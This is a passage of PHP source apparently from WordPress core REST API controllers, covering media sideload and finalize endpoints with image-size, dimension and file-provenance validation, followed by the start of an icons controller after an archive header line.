} return null; } /** * Gets the attachment's file size in bytes. * * @since 7.0.0 * * @param int $attachment_id Attachment ID. * @return int|null Attachment file size in bytes, or null if not available. * @phpstan-return non-negative-int|null */ protected function get_attachment_filesize( int $attachment_id ): ?int { $meta = wp_get_attachment_metadata( $attachment_id ); if ( isset( $meta['filesize'] ) && is_numeric( $meta['filesize'] ) && $meta['filesize'] > 0 ) { return (int) $meta['filesize']; } $original_path = wp_get_original_image_path( $attachment_id ); $attached_file = $original_path ? $original_path : get_attached_file( $attachment_id ); if ( is_string( $attached_file ) && is_readable( $attached_file ) ) { return wp_filesize( $attached_file ); } return null; } /** * Checks if a given request has access to sideload a file. * * Sideloading a file for an existing attachment * requires both update and create permissions. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise. */ public function sideload_item_permissions_check( $request ) { return $this->edit_media_item_permissions_check( $request ); } /** * Validates an image size name, or an array of names sharing a single file. * * Shared by the sideload endpoint, which names the size a file is produced * for, and the finalize endpoint, which names the size each submitted entry * is stored under. Both need the same set, and finalize accepts a payload of * its own rather than one this class produced, so leaving it unconstrained * there would let a submission write an arbitrary key into the metadata * 'sizes' array or route a file into a branch it was never produced for. * * @since 7.1.0 * * @param mixed $value The image size name, or an array of names. * @param string $param Parameter name, used in the error messages. * @return true|WP_Error True when every name is valid, WP_Error otherwise. */ private static function validate_image_size_names( $value, string $param ) { $special_sizes = self::get_special_image_sizes(); $regular_sizes = array_values( array_diff( array_merge( array_keys( wp_get_registered_image_subsizes() ), // Not a registered sub-size, but stored as an ordinary // entry in the metadata 'sizes' array (PDF thumbnails). array( 'full' ) ), $special_sizes ) ); if ( is_string( $value ) ) { $items = array( $value ); $valid_sizes = array_merge( $regular_sizes, $special_sizes ); } elseif ( is_array( $value ) ) { /** * An array registers one sideloaded file under several size names, * which only makes sense for regular sub-sizes: each special size * names a single file with its own handling in * {@see self::sideload_item()} and its own metadata key in * {@see self::finalize_item()}. Rejecting them here is what lets the * array branches in both methods treat an array as regular sizes. */ $items = $value; $valid_sizes = $regular_sizes; } else { return new WP_Error( 'rest_invalid_type', /* translators: %s: Parameter name. */ sprintf( __( '%s must be a string or an array of strings.' ), $param ) ); } foreach ( $items as $item ) { if ( ! in_array( $item, $valid_sizes, true ) ) { return new WP_Error( 'rest_not_in_enum', /* translators: %s: Parameter name. */ sprintf( __( '%s contains an invalid image size.' ), $param ) ); } } return true; } /** * Returns the image size names which name a single file rather than a sub-size. * * Each of these is handled on its own in {@see self::sideload_item()} and stored * under its own key by {@see self::finalize_item()}, so unlike a regular * sub-size none of them may appear in an array of names sharing one file. * * @since 7.1.0 * * @return string[] Special image size names. * * @phpstan-return non-empty-list */ private static function get_special_image_sizes(): array { return array( 'original', 'scaled', // Source-format original (e.g. the HEIC kept alongside its JPEG derivative). self::IMAGE_SIZE_SOURCE_ORIGINAL, // Converted-video companions for an animated GIF (the MP4/WebM and its poster). 'animated_video', 'animated_video_poster', ); } /** * Validates that uploaded image dimensions are appropriate for the specified image size. * * @since 7.1.0 * * @param int $width Uploaded image width. * @param int $height Uploaded image height. * @param string $image_size The target image size name. * @param int $attachment_id The attachment ID. * @return true|WP_Error True if valid, WP_Error if invalid. */ private function validate_image_dimensions( int $width, int $height, string $image_size, int $attachment_id ) { // All image sizes require positive dimensions. if ( $width <= 0 || $height <= 0 ) { return new WP_Error( 'rest_upload_invalid_dimensions', __( 'Uploaded image must have positive dimensions.' ), array( 'status' => 400 ) ); } /* * 'original' size: the full-size image that replaces the main file (see * sideload_item()/finalize_item()). The endpoint expects any EXIF * orientation to be applied to the image already, which can swap width * and height, so the dimensions must match the stored dimensions or be * their transpose. */ if ( 'original' === $image_size ) { $metadata = wp_get_attachment_metadata( $attachment_id, true ); if ( is_array( $metadata ) && isset( $metadata['width'], $metadata['height'] ) ) { $expected_width = (int) $metadata['width']; $expected_height = (int) $metadata['height']; $matches_dimensions = $width === $expected_width && $height === $expected_height; $transposes_dimensions = $width === $expected_height && $height === $expected_width; if ( ! $matches_dimensions && ! $transposes_dimensions ) { return new WP_Error( 'rest_upload_dimension_mismatch', sprintf( /* translators: 1: Actual width, 2: actual height, 3: expected width, 4: expected height. */ __( 'Uploaded image dimensions (%1$dx%2$d) do not match original image dimensions (%3$dx%4$d).' ), $width, $height, $expected_width, $expected_height ), array( 'status' => 400 ) ); } } return true; } // 'full' size (PDF thumbnails) and 'scaled': no further constraints. if ( in_array( $image_size, array( 'full', 'scaled' ), true ) ) { return true; } /* * 'animated_video_poster' companion: a static poster image for the * converted video. It is a real image (so it has positive dimensions) * but is not a registered sub-size, so it has no dimension constraint. */ if ( 'animated_video_poster' === $image_size ) { return true; } // Regular image sizes: validate against registered size constraints. $registered_sizes = wp_get_registered_image_subsizes(); if ( ! isset( $registered_sizes[ $image_size ] ) ) { return new WP_Error( 'rest_upload_unknown_size', __( 'Unknown image size.' ), array( 'status' => 400 ) ); } $size_data = $registered_sizes[ $image_size ]; $max_width = (int) $size_data['width']; $max_height = (int) $size_data['height']; // Validate dimensions don't exceed the registered size maximums. // Allow 1px tolerance for rounding differences. $tolerance = 1; if ( $this->dimension_exceeds_max( $width, $max_width, $tolerance ) ) { return new WP_Error( 'rest_upload_dimension_mismatch', sprintf( /* translators: 1: Image size name, 2: maximum width, 3: actual width. */ __( 'Uploaded image width (%3$d) exceeds maximum for "%1$s" size (%2$d).' ), $image_size, $max_width, $width ), array( 'status' => 400 ) ); } if ( $this->dimension_exceeds_max( $height, $max_height, $tolerance ) ) { return new WP_Error( 'rest_upload_dimension_mismatch', sprintf( /* translators: 1: Image size name, 2: maximum height, 3: actual height. */ __( 'Uploaded image height (%3$d) exceeds maximum for "%1$s" size (%2$d).' ), $image_size, $max_height, $height ), array( 'status' => 400 ) ); } return true; } /** * Checks whether a dimension exceeds the maximum allowed value. * * A maximum of zero means the dimension is unconstrained. * * @since 7.1.0 * * @param int $value The actual dimension in pixels. * @param int $max The maximum allowed dimension in pixels. Zero means no constraint. * @param int $tolerance Pixel tolerance allowed for rounding differences. * @return bool True if the value exceeds the maximum plus tolerance. */ private function dimension_exceeds_max( int $value, int $max, int $tolerance ): bool { return $max > 0 && $value > $max + $tolerance; } /** * Side-loads a media file without creating a new attachment. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function sideload_item( WP_REST_Request $request ) { $attachment_id = (int) $request['id']; $post = $this->get_post( $attachment_id ); if ( is_wp_error( $post ) ) { return $post; } if ( ! wp_attachment_is_image( $post ) && ! wp_attachment_is( 'pdf', $post ) ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID. Only images and PDFs can be sideloaded.' ), array( 'status' => 400 ) ); } /* * Sideloaded files are placed in the same directory as the attachment * they extend, because the file names produced here are later resolved * against that directory. An attachment stored outside the uploads * directory has no such directory to use, so there is nowhere the names * this would produce could resolve. */ $attached_file = get_attached_file( $attachment_id, true ); $subdir = is_string( $attached_file ) && '' !== $attached_file ? $this->get_attachment_upload_subdir( $attached_file ) : null; if ( ! is_string( $attached_file ) || '' === $attached_file || null === $subdir ) { return new WP_Error( 'rest_sideload_attachment_not_in_uploads', __( 'The attachment is not stored in the uploads directory, so a file cannot be sideloaded for it.' ), array( 'status' => 403 ) ); } if ( false === $request['convert_format'] ) { // Prevent image conversion as that is done client-side. add_filter( 'image_editor_output_format', '__return_empty_array', 100 ); } // Get the file via $_FILES or raw data. $files = $request->get_file_params(); $headers = $request->get_headers(); /* * wp_unique_filename() will always add numeric suffix if the name looks like a sub-size to avoid conflicts. * See /wp-includes/functions.php. * With the following filter we can work around this safeguard. */ $attachment_filename = wp_basename( $attached_file ); $filter_filename = static function ( $filename, $ext, $dir, $unique_filename_callback, $alt_filenames, $number ) use ( $attachment_filename ) { return self::filter_wp_unique_filename( $filename, $dir, $number, $attachment_filename ); }; add_filter( 'wp_unique_filename', $filter_filename, 10, 6 ); // Pin the upload to the attachment's own directory, rather than deriving // it from the parent post's date as media_handle_upload() does for a // brand new upload. See the note above where $subdir is resolved. $filter_upload_dir = static function ( $uploads ) use ( $subdir ) { if ( is_array( $uploads ) && isset( $uploads['basedir'], $uploads['baseurl'] ) && is_string( $uploads['basedir'] ) && is_string( $uploads['baseurl'] ) ) { $uploads['subdir'] = $subdir; $uploads['path'] = $uploads['basedir'] . $subdir; $uploads['url'] = $uploads['baseurl'] . $subdir; } return $uploads; }; add_filter( 'upload_dir', $filter_upload_dir, 100 ); if ( ! empty( $files ) ) { $file = $this->upload_from_file( $files, $headers ); } else { $file = $this->upload_from_data( $request->get_body(), $headers ); } remove_filter( 'wp_unique_filename', $filter_filename ); remove_filter( 'image_editor_output_format', '__return_empty_array', 100 ); remove_filter( 'upload_dir', $filter_upload_dir, 100 ); if ( is_wp_error( $file ) ) { return $file; } $type = $file['type']; $path = $file['file']; /** @var non-empty-string|non-empty-list $image_size */ $image_size = $request['image_size']; /* * Validate raster sub-sizes before storing them. Two companion sizes * are exempt because wp_getimagesize() may not be able to read the * file at all: the 'animated_video' companion of an animated GIF is a * video (MP4/WebM), and a source-format original (e.g. a HEIC or JXL * kept next to its JPEG derivative) may be an unreadable format. Their * dimensions are neither validated nor recorded. The * 'animated_video_poster' companion is a real image, so it is still * read and rejected if unreadable; validate_image_dimensions() skips * only the registered-size constraint for it. */ $skip_dimension_read = self::IMAGE_SIZE_SOURCE_ORIGINAL === $image_size || 'animated_video' === $image_size; $size = false; if ( ! $skip_dimension_read ) { /* * Read the dimensions up front. A file whose dimensions cannot be * read is corrupted or an unsupported format and must be rejected * rather than silently stored with zero dimensions. */ $size = wp_getimagesize( $path ); if ( ! $size ) { // Clean up the uploaded file. wp_delete_file( $path ); return new WP_Error( 'rest_upload_invalid_image', __( 'Could not read image dimensions. The file may be corrupted or an unsupported format.' ), array( 'status' => 400 ) ); } /* * Validate the dimensions against every size the file is being * registered under. An array $image_size shares one file among * several registered sizes, so the file has to satisfy each of * them; validating only the scalar case would let a name wrapped * in a one-element array skip the constraint entirely. */ foreach ( (array) $image_size as $size_name ) { $validation = $this->validate_image_dimensions( $size[0], $size[1], $size_name, $attachment_id ); if ( is_wp_error( $validation ) ) { // Clean up the uploaded file. wp_delete_file( $path ); return $validation; } } } // Build sub-size data to return to the client. // The client accumulates these and sends them all to the finalize // endpoint, which writes the metadata in a single operation. This // avoids the read-modify-write race that concurrent sideloads for the // same attachment would otherwise hit. $sub_size_data = array( 'image_size' => $image_size, ); if ( is_array( $image_size ) ) { /** * Multiple registered sizes share these dimensions, so a single * sideloaded file is reused for all of them. Arrays only carry * regular sub-sizes; the special keys below are always scalar * (ref. {@see self::get_special_image_sizes()}). Those never skip * the read above, so $size already holds the dimensions. */ $sub_size_data['width'] = $size ? $size[0] : 0; $sub_size_data['height'] = $size ? $size[1] : 0; $sub_size_data['file'] = wp_basename( $path ); $sub_size_data['mime_type'] = $type; $sub_size_data['filesize'] = wp_filesize( $path ); } elseif ( self::IMAGE_SIZE_SOURCE_ORIGINAL === $image_size ) { /* * Source-format original (e.g. the HEIC kept next to its JPEG * derivative). Record the filename so finalize_item can store it * under the dedicated source-image meta key. */ $sub_size_data['file'] = wp_basename( $path ); } elseif ( 'animated_video' === $image_size || 'animated_video_poster' === $image_size ) { /* * Converted-video companion of an animated GIF (the MP4/WebM or * its static first-frame poster). Record the filename so * finalize_item can store it under its dedicated meta key. */ $sub_size_data['file'] = wp_basename( $path ); } elseif ( 'scaled' === $image_size || 'original' === $image_size ) { /* * 'scaled' and 'original' both replace the attachment's main file * with the supplied image and keep the file being replaced as * `original_image`, which is the untouched upload. A 'scaled' * image is downsized and an 'original' image has any EXIF * orientation already applied. This is the same swap WordPress * makes when it scales or rotates an image on upload; see * _wp_image_meta_replace_original(). */ $sub_size_data['original_image'] = $attachment_filename; // Validate the supplied image before updating the attached file. // $size was read above: neither of these sizes skips that read. $filesize = wp_filesize( $path ); if ( ! $size || ! $filesize ) { // Clean up the uploaded file, which nothing references yet. wp_delete_file( $path ); return new WP_Error( 'rest_sideload_invalid_image', __( 'Unable to read the sideloaded image file.' ), array( 'status' => 500 ) ); } // Update the attached file to point to the supplied image. // This writes to _wp_attached_file meta, not _wp_attachment_metadata. if ( $attached_file !== $path && ! update_attached_file( $attachment_id, $path ) ) { // Clean up the uploaded file, which nothing references yet. wp_delete_file( $path ); return new WP_Error( 'rest_sideload_update_attached_file_failed', __( 'Unable to update the attached file for this attachment.' ), array( 'status' => 500 ) ); } $sub_size_data['width'] = $size[0]; $sub_size_data['height'] = $size[1]; $sub_size_data['filesize'] = $filesize; $sub_size_data['file'] = _wp_relative_upload_path( $path ); } else { // As above, $size was already read for every size reaching here. $sub_size_data['width'] = $size ? $size[0] : 0; $sub_size_data['height'] = $size ? $size[1] : 0; $sub_size_data['file'] = wp_basename( $path ); $sub_size_data['mime_type'] = $type; $sub_size_data['filesize'] = wp_filesize( $path ); } /* * Record the file names produced for this attachment so finalize can * confirm every stored sub-size was actually sideloaded here. The * values recorded are exactly the ones handed back to the client, so * finalize accepts a submission only when it echoes what was produced. */ foreach ( array( 'file', 'original_image' ) as $provenance_key ) { if ( isset( $sub_size_data[ $provenance_key ] ) && is_string( $sub_size_data[ $provenance_key ] ) && '' !== $sub_size_data[ $provenance_key ] ) { add_post_meta( $attachment_id, self::META_KEY_SIDELOAD_FILE_NAME, wp_slash( $sub_size_data[ $provenance_key ] ) ); } } return rest_ensure_response( $sub_size_data ); } /** * Filters wp_unique_filename during sideloads. * * wp_unique_filename() will always add numeric suffix if the name looks like a sub-size to avoid conflicts. * Adding this closure to the filter helps work around this safeguard. * * Example: when uploading myphoto.jpeg, WordPress normally creates myphoto-150x150.jpeg, * and when uploading myphoto-150x150.jpeg, it will be renamed to myphoto-150x150-1.jpeg * However, here it is desired not to add the suffix in order to maintain the same * naming convention as if the file was uploaded regularly. * * The suffix is only dropped when no file of that name already exists in $dir, * so this never returns a name that would overwrite one. The unsuffixed name * must also derive from the attachment's own file name, and * {@see self::sideload_item()} pins the upload to the attachment's own * directory, so any name returned here belongs to the attachment being * extended. * * @since 7.1.0 * * @link https://github.com/WordPress/wordpress-develop/blob/30954f7ac0840cfdad464928021d7f380940c347/src/wp-includes/functions.php#L2576-L2582 * * @param string $filename Unique file name. * @param string $dir Directory path. * @param int|string $number The highest number that was used to make the file name unique * or an empty string if unused. * @param string|null $attachment_filename Original attachment file name. * @return string Filtered file name. */ private static function filter_wp_unique_filename( $filename, $dir, $number, $attachment_filename ) { if ( ! is_int( $number ) || ! $attachment_filename ) { return $filename; } $ext = pathinfo( $filename, PATHINFO_EXTENSION ); $name = pathinfo( $filename, PATHINFO_FILENAME ); $orig_name = pathinfo( $attachment_filename, PATHINFO_FILENAME ); if ( ! $ext || ! $name ) { return $filename; } $matches = array(); if ( preg_match( '/(.*)-(\d+x\d+|scaled)-' . $number . '$/', $name, $matches ) ) { $filename_without_suffix = $matches[1] . '-' . $matches[2] . ".$ext"; if ( $matches[1] === $orig_name && ! file_exists( "$dir/$filename_without_suffix" ) ) { return $filename_without_suffix; } } return $filename; } /** * Validates the `sub_sizes` file names against what this attachment produced. * * The {@see self::finalize_item()} method stores the client-supplied `file` * and `original_image` values in the attachment metadata, where they are * later resolved within the attachment's upload directory and read or deleted * (for example by {@see wp_get_original_image_path()}, {@see wp_getimagesize()}, * and {@see wp_delete_attachment_files()}). * * Every file the sideload endpoint creates is recorded under * {@see self::META_KEY_SIDELOAD_FILE_NAME} as it is produced, using * server-generated names. finalize accepts a `file` or `original_image` * value only when it matches one of those recorded names (or the * attachment's own attached file, which it definitionally owns). * * @since 7.1.0 * * @param int $attachment_id The attachment being finalized. * @param array $sub_sizes Sub-size metadata collected from sideloads. * @return true|WP_Error True if every file name was produced here, WP_Error otherwise. * * @phpstan-param list $sub_sizes */ protected function validate_sub_size_provenance( int $attachment_id, array $sub_sizes ) { $allowed = $this->get_sideloaded_file_names( $attachment_id ); foreach ( $sub_sizes as $sub_size ) { foreach ( array( 'file', 'original_image' ) as $key ) { /* * Every value that was sent is checked, no matter how unlikely * a name it looks. A loose emptiness test would wave through * '0', which is a valid one-character name as far as the schema * is concerned and is stored like any other. A value the schema * types as a string but which arrives as something else is * rejected rather than skipped, so a subclass which widens the * schema cannot pass an unchecked value on to the metadata. */ if ( ! isset( $sub_size[ $key ] ) ) { continue; } if ( ! is_string( $sub_size[ $key ] ) || ! in_array( $sub_size[ $key ], $allowed, true ) ) { return new WP_Error( 'rest_invalid_sub_size_file', __( 'Invalid sub-size file name. File names must have been produced by a prior sideload for this attachment.' ), array( 'status' => 400 ) ); } } } return true; } /** * Returns the file names which a finalize request may store for an attachment. * * The set is the file names the sideload endpoint recorded as it produced * them (ref. {@see self::META_KEY_SIDELOAD_FILE_NAME}), plus the attachment's own * attached file - accepted in both its uploads-relative and basename form so * a scaled main-file pointer validates regardless of which the client * echoes - plus the names already stored in the attachment's own metadata. * * @since 7.1.0 * * @param int $attachment_id The attachment being finalized. * @param bool $include_provenance Whether to include the sideload provenance rows. * Pass false to get only the names recoverable from * the attached file and stored metadata, e.g. to decide * whether a provenance row is still needed. Default true. * @return string[] File names that may appear in the finalize submission. * * @phpstan-return list */ protected function get_sideloaded_file_names( int $attachment_id, bool $include_provenance = true ): array { $allowed = array(); if ( $include_provenance ) { foreach ( (array) get_post_meta( $attachment_id, self::META_KEY_SIDELOAD_FILE_NAME ) as $name ) { if ( is_string( $name ) && '' !== $name ) { $allowed[] = $name; } } } $attached_file = get_post_meta( $attachment_id, '_wp_attached_file', true ); if ( is_string( $attached_file ) && strlen( $attached_file ) > 0 ) { $allowed[] = $attached_file; $allowed[] = wp_basename( $attached_file ); } /* * Names already stored in this attachment's metadata passed this same * check when they were written, so accepting them again introduces * nothing new. */ $metadata = wp_get_attachment_metadata( $attachment_id, true ); if ( is_array( $metadata ) ) { $stored = array( $metadata['file'] ?? null, $metadata['original_image'] ?? null, $metadata[ self::META_KEY_SOURCE_IMAGE ] ?? null, $metadata['animated_video'] ?? null, $metadata['animated_video_poster'] ?? null, ); if ( ! empty( $metadata['sizes'] ) && is_array( $metadata['sizes'] ) ) { foreach ( $metadata['sizes'] as $size ) { $stored[] = is_array( $size ) ? ( $size['file'] ?? null ) : null; } } foreach ( $stored as $name ) { if ( is_string( $name ) && '' !== $name ) { $allowed[] = $name; $allowed[] = wp_basename( $name ); } } } return array_values( array_unique( $allowed ) ); } /** * Returns the uploads subdirectory an attachment is stored in. * * Used to place a sideloaded file alongside the attachment it extends. The * result is concatenated into a filesystem path by the caller, so it is * returned only when the attachment resolves inside the uploads directory * and the stored path is well formed. * * @since 7.1.0 * * @param string $attached_file Absolute path to the attached file. * @return string|null Subdirectory beginning with a slash, an empty string when the * attachment sits in the base directory, or null when the * attachment is not inside the uploads directory. * * @phpstan-param non-empty-string $attached_file */ protected function get_attachment_upload_subdir( string $attached_file ): ?string { $uploads = wp_get_upload_dir(); if ( empty( $uploads['basedir'] ) ) { return null; } $basedir = untrailingslashit( wp_normalize_path( $uploads['basedir'] ) ); $file_dir = wp_normalize_path( dirname( $attached_file ) ); /* * The attachment's directory must be the uploads base directory itself * or a directory inside it. The trailing slash in the prefix comparison * keeps a sibling directory that merely shares the prefix (for example * 'uploads-elsewhere' next to 'uploads') from matching. */ if ( $file_dir !== $basedir && ! str_starts_with( $file_dir, trailingslashit( $basedir ) ) ) { return null; } $subdir = (string) substr( $file_dir, strlen( $basedir ) ); // A prefix match alone does not rule out a path that climbs back out. if ( in_array( '..', explode( '/', $subdir ), true ) ) { return null; } return $subdir; } /** * Finalizes an attachment after client-side media processing. * * Applies the sub-size metadata collected from sideload responses in a * single metadata update, then triggers the 'wp_generate_attachment_metadata' * filter so that server-side plugins can process the attachment after all * client-side operations (upload, thumbnail generation, sideloads) are * complete. * * @since 7.1.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, WP_Error object on failure. */ public function finalize_item( WP_REST_Request $request ) { $attachment_id = (int) $request['id']; $post = $this->get_post( $attachment_id ); if ( is_wp_error( $post ) ) { return $post; } /** * Sub-size metadata collected from sideload responses. Confirm every * file name was produced by a prior sideload for this attachment before * storing it, so a client cannot make finalize record (and later read or * delete) another attachment's files. * * @var list $sub_sizes */ $sub_sizes = $request['sub_sizes'] ?? array(); $provenance = $this->validate_sub_size_provenance( $attachment_id, $sub_sizes ); if ( is_wp_error( $provenance ) ) { return $provenance; } $metadata = wp_get_attachment_metadata( $attachment_id ); if ( ! is_array( $metadata ) ) { $metadata = array(); } // Apply all sub-size metadata collected from sideload responses. foreach ( $sub_sizes as $sub_size ) { $image_size = $sub_size['image_size']; // When multiple size names share identical dimensions the client // sends a single sub-size entry with an array of names. Register the // same file under each name. if ( is_array( $image_size ) ) { /* * Arrays carry regular sizes only, as the sideload endpoint * enforces. Each special size names a single file handled by one * of the branches below, so grouping one under a shared file * would write it to the wrong place; reject rather than guess. */ if ( array_intersect( $image_size, self::get_special_image_sizes() ) ) { return new WP_Error( 'rest_invalid_sub_size_name', __( 'A grouped sub-size entry may only name regular image sizes.' ), array( 'status' => 400 ) ); } // As below: `file` is not required by the schema, and a size // entry that names no file is not worth recording. if ( empty( $sub_size['file'] ) ) { continue; } $metadata['sizes'] = $metadata['sizes'] ?? array(); foreach ( $image_size as $name ) { $metadata['sizes'][ $name ] = array( 'width' => $sub_size['width'] ?? 0, 'height' => $sub_size['height'] ?? 0, 'file' => $sub_size['file'], 'mime-type' => $sub_size['mime_type'] ?? '', 'filesize' => $sub_size['filesize'] ?? 0, ); } continue; } if ( 'original' === $image_size || 'scaled' === $image_size ) { // Skip malformed entries so a bad payload cannot blank out the // main file metadata. if ( empty( $sub_size['file'] ) ) { continue; } /* * Record the supplied full-size image (from sideload_item()) as * the main file, keeping the current attached file as * `original_image`. A 'scaled' image is downsized and an * 'original' image is rotated; both have any EXIF orientation * already applied by the client. */ if ( ! empty( $sub_size['original_image'] ) ) { $metadata['original_image'] = $sub_size['original_image']; } $metadata['width'] = $sub_size['width'] ?? 0; $metadata['height'] = $sub_size['height'] ?? 0; $metadata['filesize'] = $sub_size['filesize'] ?? 0; $metadata['file'] = $sub_size['file']; /* * The supplied image has its orientation applied already, so * reset the stored value (from the upload) to 1, as * wp_create_image_subsizes() does for both its scale and rotate * paths. Otherwise exif_orientation would still report the * pre-rotation value and the client would rotate the image * again on a re-fetch. */ if ( ! empty( $metadata['image_meta']['orientation'] ) ) { $metadata['image_meta']['orientation'] = 1; } } elseif ( self::IMAGE_SIZE_SOURCE_ORIGINAL === $image_size ) { // As above: `file` is not required by the schema, and each of // these sizes is nothing but the file it names. if ( empty( $sub_size['file'] ) ) { continue; } /* * Source-format original: stored under its own meta key so the * scaled-sideload flow (which writes 'original_image') cannot * clobber it. 'original_image' keeps pointing at the * web-viewable JPEG derivative. Cleanup on attachment delete * is handled by wp_delete_attachment_files(). */ $metadata[ self::META_KEY_SOURCE_IMAGE ] = $sub_size['file']; } elseif ( 'animated_video' === $image_size ) { if ( empty( $sub_size['file'] ) ) { continue; } /* * Converted-video companion of an animated GIF. Stored under its * own meta key; 'original_image' keeps pointing at the GIF. Cleanup * on attachment delete is handled by wp_delete_attachment_files(). */ $metadata['animated_video'] = $sub_size['file']; } elseif ( 'animated_video_poster' === $image_size ) { if ( empty( $sub_size['file'] ) ) { continue; } // Static first-frame poster for the converted video. $metadata['animated_video_poster'] = $sub_size['file']; } else { if ( empty( $sub_size['file'] ) ) { continue; } $metadata['sizes'] = $metadata['sizes'] ?? array(); $metadata['sizes'][ $image_size ] = array( 'width' => $sub_size['width'] ?? 0, 'height' => $sub_size['height'] ?? 0, 'file' => $sub_size['file'], 'mime-type' => $sub_size['mime_type'] ?? '', 'filesize' => $sub_size['filesize'] ?? 0, ); } } /** This filter is documented in wp-admin/includes/image.php */ $metadata = apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id, 'update' ); wp_update_attachment_metadata( $attachment_id, $metadata ); /* * Drop only the provenance rows this request consumed, now that the * names are recorded in the metadata itself. A row is dropped only once * its name is recoverable from the stored metadata, so a name the * 'wp_generate_attachment_metadata' filter removed - or that a failed * update never persisted - keeps its row and the retried request the * endpoint documents as idempotent still validates. Rows for sideloads * that have not been finalized yet survive for a later call, and passing * the value makes the delete a no-op when the row is already gone, so a * retried request cleans up without error. Any rows left behind by an * abandoned upload are removed with the attachment itself. * * Retrying is idempotent for the request as it was sent. A name is only * unavailable to a retry once a later finalize has overwritten the same * size with a newly sideloaded file, which drops the earlier name from * the metadata the retry recovers it from. * * The names are collected before deleting so a request which repeats * the same name across many sub-sizes still issues one query per * distinct name. */ $recoverable = $this->get_sideloaded_file_names( $attachment_id, false ); $consumed = array(); foreach ( $sub_sizes as $sub_size ) { foreach ( array( 'file', 'original_image' ) as $key ) { // Matches the set validate_sub_size_provenance() checked, so // every name a request was allowed to store is also cleaned up. if ( isset( $sub_size[ $key ] ) && is_string( $sub_size[ $key ] ) && in_array( $sub_size[ $key ], $recoverable, true ) ) { $consumed[] = $sub_size[ $key ]; } } } foreach ( array_unique( $consumed ) as $file_name ) { delete_post_meta( $attachment_id, self::META_KEY_SIDELOAD_FILE_NAME, wp_slash( $file_name ) ); } $response_request = new WP_REST_Request( WP_REST_Server::READABLE, rest_get_route_for_post( $attachment_id ) ); $response_request['context'] = 'edit'; if ( isset( $request['_fields'] ) ) { $response_request['_fields'] = $request['_fields']; } return $this->prepare_item_for_response( $post, $response_request ); } } class-wp-rest-icons-controller.php000064400000022125152506367270013272 0ustar00namespace = 'wp/v2'; $this->rest_base = 'icons'; } /** * Registers the routes for the objects of the controller. * * @since 7.0.0 * @since 7.1.0 Added the `/icons/` collection-scoped route. */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-z0-9](?:[a-z0-9_-]*[a-z0-9])?)', array( 'args' => array( 'collection' => array( 'description' => __( 'Icon collection slug.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[a-z0-9](?:[a-z0-9_-]*[a-z0-9])?/[a-z0-9](?:[a-z0-9_-]*[a-z0-9])?)', array( 'args' => array( 'name' => array( 'description' => __( 'Icon name.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read icons. * * @since 7.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view the registered icons.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Checks if a given request has access to read a specific icon. * * @since 7.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $check = $this->get_items_permissions_check( $request ); if ( is_wp_error( $check ) ) { return $check; } return true; } /** * Retrieves all icons, optionally scoped to a collection. * * @since 7.0.0 * @since 7.1.0 Supports filtering by collection. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $collection = $request->get_param( 'collection' ); if ( null !== $collection && ! WP_Icon_Collections_Registry::get_instance()->is_registered( $collection ) ) { return new WP_Error( 'rest_icon_collection_not_found', sprintf( /* translators: %s: Icon collection slug. */ __( 'Icon collection not found: "%s".' ), $collection ), array( 'status' => 404 ) ); } $response = array(); $search = $request->get_param( 'search' ); $icons = WP_Icons_Registry::get_instance()->get_registered_icons( $search ); foreach ( $icons as $icon ) { if ( null !== $collection && ( ! isset( $icon['collection'] ) || $icon['collection'] !== $collection ) ) { continue; } $prepared_icon = $this->prepare_item_for_response( $icon, $request ); $response[] = $this->prepare_response_for_collection( $prepared_icon ); } return rest_ensure_response( $response ); } /** * Retrieves a specific icon. * * @since 7.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $icon = $this->get_icon( $request['name'] ); if ( is_wp_error( $icon ) ) { return $icon; } $data = $this->prepare_item_for_response( $icon, $request ); return rest_ensure_response( $data ); } /** * Retrieves a specific icon from the registry. * * @since 7.0.0 * * @param string $name Icon name. * @return array|WP_Error Icon data on success, or WP_Error object on failure. */ public function get_icon( $name ) { $registry = WP_Icons_Registry::get_instance(); $icon = $registry->get_registered_icon( $name ); if ( null === $icon ) { return new WP_Error( 'rest_icon_not_found', sprintf( // translators: %s is the name of any user-provided name __( 'Icon not found: "%s".' ), $name ), array( 'status' => 404 ) ); } return $icon; } 